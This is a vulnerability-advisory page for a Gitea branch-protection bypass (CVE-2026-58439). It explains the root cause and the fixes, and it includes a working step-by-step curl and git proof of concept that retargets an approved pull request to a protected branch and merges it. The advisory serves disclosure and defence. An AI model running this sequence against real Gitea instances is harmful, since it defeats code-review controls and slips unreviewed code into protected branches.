Skip to main content

Gitea CVE-2026-58439

| EUVDEUVD-2026-58166 HIGH
Incorrect Authorization (CWE-863)
2026-07-21 https://github.com/go-gitea/gitea GHSA-w5pg-649r-p6gg
8.1
CVSS 3.1 · Vendor: https://github.com/go-gitea/gitea
Share

Severity by source

Vendor (https://github.com/go-gitea/gitea) PRIMARY
8.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
vuln.today AI
6.5 MEDIUM

Network API, low complexity, requires write-access collaborator (PR:L) with no user interaction; impact is code-integrity bypass (I:H) with no confidentiality or direct availability loss (C:N/A:N).

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
SUSE
HIGH
qualitative
Red Hat
7.7 HIGH
qualitative

Primary rating from Vendor (https://github.com/go-gitea/gitea).

CVSS VectorVendor: https://github.com/go-gitea/gitea

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 21, 2026 - 20:35 vuln.today
Analysis Generated
Jul 21, 2026 - 20:35 vuln.today
CVE Published
Jul 21, 2026 - 20:14 github-advisory
HIGH 8.1

DescriptionCVE.org

Summary

Gitea does not re-evaluate the official flag on existing pull request reviews when a PR's target branch is changed. An attacker with write access to a repository can obtain an official: true approval on a PR targeting an unprotected branch, then retarget the PR to a protected branch (e.g., master). The approval, which would have been official: false if submitted against the protected branch, is preserved and satisfies the protected branch's required approvals, allowing the attacker to merge without legitimate maintainer approval.

  • Confirmed on Gitea 1.25.4 (1.25.4+41-g96515c0f20)

Vulnerability Details

Root Cause

When a review is submitted on a pull request, Gitea computes the official flag by checking whether the reviewer is in the target branch's approval whitelist (IsUserOfficialReviewer in models/git/protected_branch.go). This flag is stored in the database as a boolean on the review record.

When a PR's target branch is subsequently changed via ChangeTargetBranch (services/pull/pull.go:218), the function:

  • Updates pr.BaseBranch
  • Recalculates merge feasibility and divergence
  • Deletes old push comments
  • Creates a "change target branch" comment

But it does not:

  • Re-evaluate official on existing reviews
  • Dismiss existing approvals
  • Check whether reviewers are in the new target branch's approval whitelist

At merge time, GetGrantedApprovalsCount (models/issues/pull.go:766) counts reviews where official = true AND dismissed = false AND type = Approve. It reads the stored boolean - it does not re-check the whitelist. The stale official: true from the unprotected branch satisfies the protected branch's approval requirement.

Relevant Code Paths

  1. Review creation - services/pull/review.go:SubmitReview calls IsOfficialReviewer against the current pr.BaseBranch's protection rules, stores official=true/false
  2. Target branch change - services/pull/pull.go:ChangeTargetBranch modifies pr.BaseBranch but does not touch existing reviews
  3. Merge check - services/pull/check.go:CheckPullMergeablemodels/issues/pull.go:GetGrantedApprovalsCount counts stored official=true reviews without re-evaluating against the new branch's whitelist

Prerequisites

The attacker needs:

  • Write (push) access to the repository (collaborator with write role, or the ability to create branches - not admin)
  • The ability to create pull requests (standard for any user with push access)
  • A second account (or any non-admin account) to submit the approval on the unprotected branch

The attacker does not need:

  • Admin access
  • To be in the approval whitelist for the protected branch
  • Any interaction from the branch protection's designated approvers

Proof of Concept

Setup

Repository owner/repo with branch master protected:

  • Required approvals: 1
  • Approval whitelist enabled, containing only user admin-reviewer
  • User attacker has write access but is not in the approval whitelist

Steps

bash
BASE="http://gitea-instance:3000"
OWNER="owner"
REPO="repo"
ATTACKER_AUTH="attacker:password"
ACCOMPLICE_AUTH="accomplice:password"
# any non-whitelisted user
# 1. Create an unprotected temporary branch from master
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/branches" \
  -u "$ATTACKER_AUTH" \
  -H "Content-Type: application/json" \
  -d '{"new_branch_name": "tmp-unprotected", "old_branch_name": "master"}'
# 2. Push a malicious commit to a feature branch
git checkout -b malicious-branch origin/master
echo "malicious payload" > payload.txt
git add payload.txt
git commit -m "innocent looking commit"
git push origin malicious-branch
# 3. Create PR targeting the UNPROTECTED branch
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls" \
  -u "$ATTACKER_AUTH" \
  -H "Content-Type: application/json" \
  -d '{
    "head": "malicious-branch",
    "base": "tmp-unprotected",
    "title": "Add feature"
  }'
# Returns PR #N
# 4. Approve the PR (official=true because tmp-unprotected has no protection)
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \
  -u "$ACCOMPLICE_AUTH" \
  -H "Content-Type: application/json" \
  -d '{"event": "APPROVED", "body": "LGTM"}'
# Response includes: "official": true
# 5. Retarget the PR to protected master
curl -X PATCH "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N" \
  -u "$ATTACKER_AUTH" \
  -H "Content-Type: application/json" \
  -d '{"base": "master"}'
# 6. Verify: approval is still official=true against master
curl "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \
  -u "$ATTACKER_AUTH"
# Response: "official": true, "dismissed": false, "stale": false
# 7. Merge - succeeds despite no whitelisted approver reviewing
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/merge" \
  -u "$ATTACKER_AUTH" \
  -H "Content-Type: application/json" \
  -d '{"do": "merge"}'
# Returns 200 OK - malicious commit is now on master

Observed API Responses

Step 4 - Approval on unprotected branch:

json
{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "user": {"login": "accomplice"}}

Step 6 - Same approval after retarget to protected master:

json
{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "stale": false, "user": {"login": "accomplice"}}

The official flag is unchanged. Under the protected branch's rules, this user's approval should be official: false.

Impact

  • Branch protection bypass: Protected branches with approval whitelists can be merged into without any whitelisted user approving
  • Privilege escalation: A user with write-but-not-admin access can effectively nullify the admin-configured approval requirements

Suggested Fix

Re-evaluate the official flag on all existing reviews when a PR's target branch changes. In services/pull/pull.go:ChangeTargetBranch, after updating pr.BaseBranch:

go
// After updating the base branch, re-evaluate official status on all reviews
reviews, err := issues_model.FindReviews(ctx, issues_model.FindReviewOptions{
    IssueID: pr.IssueID,
    Type:    issues_model.ReviewTypeApprove,
})
if err != nil {
    return err
}

newProtectBranch, err := git_model.GetFirstMatchProtectedBranchRule(ctx, pr.BaseRepoID, targetBranch)
if err != nil {
    return err
}

for _, review := range reviews {
    wasOfficial := review.Official
    if newProtectBranch != nil && newProtectBranch.EnableApprovalsWhitelist {
        review.Official = git_model.IsUserOfficialReviewer(ctx, newProtectBranch, review.Reviewer)
    } else {
        review.Official = false
    }
    if wasOfficial != review.Official {
        if _, err := db.GetEngine(ctx).ID(review.ID).Cols("official").Update(review); err != nil {
            return err
        }
    }
}

Alternatively, dismiss all existing approvals on retarget (simpler, more conservative):

go
// Dismiss all approvals when target branch changes
if _, err := issues_model.DismissReview(ctx, &issues_model.DismissReviewOptions{
    IssueID: pr.IssueID,
    Message: "Dismissed: PR target branch changed",
}); err != nil {
    return err
}

AnalysisAI

Branch protection bypass in Gitea versions prior to 1.27.0 allows a user with write (non-admin) access to merge unauthorized code into a protected branch by exploiting a stale approval flag. When a pull request is retargeted from an unprotected branch to a protected one via ChangeTargetBranch, Gitea fails to re-evaluate the stored official=true flag on existing approvals, so an approval that was never valid under the protected branch's whitelist still satisfies its required-approvals gate. Publicly available exploit code exists (a detailed step-by-step PoC in the GHSA advisory); no public exploit identified as actively used and it is not in CISA KEV.

Technical ContextAI

Gitea is a self-hosted Git service written in Go (package code.gitea.io/gitea). The flaw sits in its branch-protection and code-review logic. When a review is submitted, services/pull/review.go:SubmitReview calls IsUserOfficialReviewer (models/git/protected_branch.go) against the PR's current base branch and persists a boolean official flag on the review record. Merge eligibility is later computed by GetGrantedApprovalsCount (models/issues/pull.go:766), which simply counts stored reviews where official=true AND dismissed=false AND type=Approve - it reads the cached boolean rather than re-checking the whitelist. Because ChangeTargetBranch (services/pull/pull.go) mutates pr.BaseBranch without recomputing or dismissing existing reviews, the stored flag becomes stale. This is a classic CWE-863 Incorrect Authorization: an authorization decision (is this an official/whitelisted approval for THIS branch?) is made once and never re-validated when the protected resource under evaluation changes.

RemediationAI

Vendor-released patch: upgrade Gitea to 1.27.0 or later, which adds RecalculateReviewsOfficial (PR https://github.com/go-gitea/gitea/pull/38319 and https://github.com/go-gitea/gitea/pull/38402) to re-evaluate the official flag on all approve/reject reviews whenever a PR's target branch changes. Until you can upgrade, reduce exposure with targeted compensating controls: restrict who holds write/push access on repositories with protected branches (the exploit requires a non-admin collaborator, so tightening collaborator lists directly shrinks the attack surface); avoid relying solely on approval-whitelist counts by additionally enabling stricter merge gates such as required status checks or requiring re-approval on new commits; and operationally monitor for PRs whose base branch was changed after receiving approvals (the audit trail includes a 'change target branch' comment) and re-review or dismiss approvals on any retargeted PR before merge. The trade-off of manual review-dismissal is added maintainer workload, and disabling the retarget capability is not natively configurable, so procedural review remains the main stopgap. Reference the advisory at https://github.com/go-gitea/gitea/security/advisories/GHSA-w5pg-649r-p6gg.

More in Gitea

View all
CVE-2026-60004 CRITICAL POC
9.8

Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi

CVE-2026-27771 HIGH POC
8.2 Jul 03

Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r

CVE-2022-30781 HIGH POC
7.5 May 16

Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp

CVE-2020-14144 HIGH POC
7.2 Oct 16

The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir

CVE-2024-6886 CRITICAL POC
10.0 Aug 06

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea

CVE-2026-20896 CRITICAL POC
9.8 Jul 03

Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any

CVE-2026-58053 CRITICAL POC
9.4 Jun 28

Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec

CVE-2019-11229 HIGH POC
8.8 Apr 15

models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem

CVE-2026-57894 HIGH POC
8.5 Jul 21

Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica

CVE-2026-24791 HIGH POC
8.1 Jun 17

Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran

CVE-2020-13246 HIGH POC
7.5 May 20

An issue was discovered in Gitea through 1.11.5. Rated high severity (CVSS 7.5), this vulnerability is remotely exploita

CVE-2022-0905 HIGH POC
7.1 Mar 10

Missing Authorization in GitHub repository go-gitea/gitea prior to 1.16.4. Rated high severity (CVSS 7.1), this vulnerab

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected

Share

CVE-2026-58439 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy